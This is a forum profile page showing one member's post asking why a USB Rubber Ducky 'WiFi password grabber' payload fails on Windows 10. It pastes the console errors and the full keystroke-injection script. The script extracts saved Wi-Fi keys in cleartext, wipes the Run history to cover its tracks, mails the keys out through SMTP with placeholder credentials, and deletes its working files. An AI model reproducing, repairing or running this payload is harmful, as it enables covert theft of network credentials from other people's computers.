Jump to content

CyberEagle

Members
  • Posts

    5
  • Joined

  • Last visited

Everything posted by CyberEagle

  1. so i go my rubber ducky and i went to GitHub and used the script for WiFi grapper and send via email https://github.com/hak5darren/USB-Rubber-Ducky/wiki/WiFi-password-Grabber-2-(Windows-10) ist not even working .... Microsoft Windows [Version 10.0.17763.592] (c) 2018 Microsoft Corporation. All rights reserved. C:\Users\X>cd @%USERPROFILE%\Desktop@ & for /f @tokens=2 delims=: @ %A in ('netsh wlan show interface ^| findstr @SSID@ ^| findstr /v @BSSID@') do set A=%A 2 was unexpected at this time. C:\Users\X>netsh wlan show profiles %A% key=clear | findstr /c:@Network type@ /c:@Authentication@ /c:@Key Content@ | findstr /v @broadcast@ | findstr /v @Radio@>>A.txt FINDSTR: Cannot open type@ FINDSTR: Cannot open /c:@Authentication@ FINDSTR: Cannot open /c:@Key FINDSTR: Cannot open Content@ C:\Users\X>for /f @tokens=3 delims=: @ %A in ('findstr @Network type@ A.txt') do set B=%A 3 was unexpected at this time. C:\Users\X>for /f @tokens=2 delims=: @ %A in ('findstr @Authentication@ A.txt') do set C=%A 2 was unexpected at this time. C:\Users\X>for /f @tokens=3 delims=: @ %A in ('findstr @Key Content@ A.txt') do set D=%A 3 was unexpected at this time. C:\Users\X>del A.txt C:\Users\X>echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt C:\Users\X>powershell Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Users\X> REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f The operation completed successfully. PS C:\Users\X> $SMTPServer = 'X.gmail.com' PS C:\Users\X> $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 25) PS C:\Users\X> $SMTPInfo.EnableSsl = $true PS C:\Users\X> $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('X"X.com', 'XXXX') PS C:\Users\X> $ReportEmail = New-Object System.Net.Mail.MailMessage PS C:\Users\X> $ReportEmail.From = 'X"gmail.com' Exception setting "From": "Cannot convert value "X"gmail.com" to type "System.Net.Mail.MailAddress". Error: "The specified string is not in the form required for an e-mail address."" At line:1 char:1 + $ReportEmail.From = 'X"gmail.com' + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], SetValueInvocationException + FullyQualifiedErrorId : ExceptionWhenSetting PS C:\Users\X> $ReportEmail.To.Add('X"gmail.com') Exception calling "Add" with "1" argument(s): "The specified string is not in the form required for an e-mail address." At line:1 char:1 + $ReportEmail.To.Add('X"gmail.com') + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : FormatException PS C:\Users\X> $ReportEmail.Subject = 'WiFi Password' PS C:\Users\X> $ReportEmail.Body = (Get-Content Log.txt | out-string) PS C:\Users\X> $SMTPInfo.Send($ReportEmail) Exception calling "Send" with "1" argument(s): "A from address must be specified." At line:1 char:1 + $SMTPInfo.Send($ReportEmail) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : InvalidOperationException PS C:\Users\X> exit C:\Users\X> CODE USED DELAY 1000 REM --> Minimize all windows WINDOWS d REM --> Open cmd WINDOWS r DELAY 500 STRING cmd ENTER DELAY 200 REM --> Get all SSID STRING cd %USERPROFILE% & netsh wlan show profiles | findstr "All" > a.txt ENTER REM --> Create a filter.bat to get all the profile names STRING echo setlocal enabledelayedexpansion^ ENTER ENTER STRING for /f "tokens=5*" %%i in (a.txt) do (^ ENTER ENTER STRING set val=%%i %%j^ ENTER ENTER STRING if "!val:~-1!" == " " set val=!val:~0,-1!^ ENTER ENTER STRING echo !val!^>^>b.txt) > filter.bat ENTER REM --> Run filter.bat and save all profile names in b.txt STRING filter.bat DELAY 300 ENTER REM --> Save all the good stuff in Log.txt and delete the other garbage files STRING (for /f "tokens=*" %i in (b.txt) do @echo SSID: %i & netsh wlan show profiles name="%i" key=clear | findstr /c:"Key Content" & echo.) > Log.txt ENTER DELAY 1000 STRING del a.txt b.txt filter.bat ENTER REM --> Mail Log.txt STRING powershell ENTER DELAY 1000 STRING $SMTPServer = 'EMAIL' ENTER STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 465) ENTER STRING $SMTPInfo.EnableSSL = $true ENTER STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('EMAIL', 'PASS') ENTER STRING $ReportEmail = New-Object System.Net.Mail.MailMessage ENTER STRING $ReportEmail.From = 'EMAIL' ENTER STRING $ReportEmail.To.Add('EMAIL') ENTER STRING $ReportEmail.Subject = 'WiFi Report' ENTER STRING $ReportEmail.Body = (Get-Content Log.txt | out-string) ENTER STRING $SMTPInfo.Send($ReportEmail) ENTER DELAY 3000 REM --> Delete Log.txt and exit ENTER
×
×
  • Create New...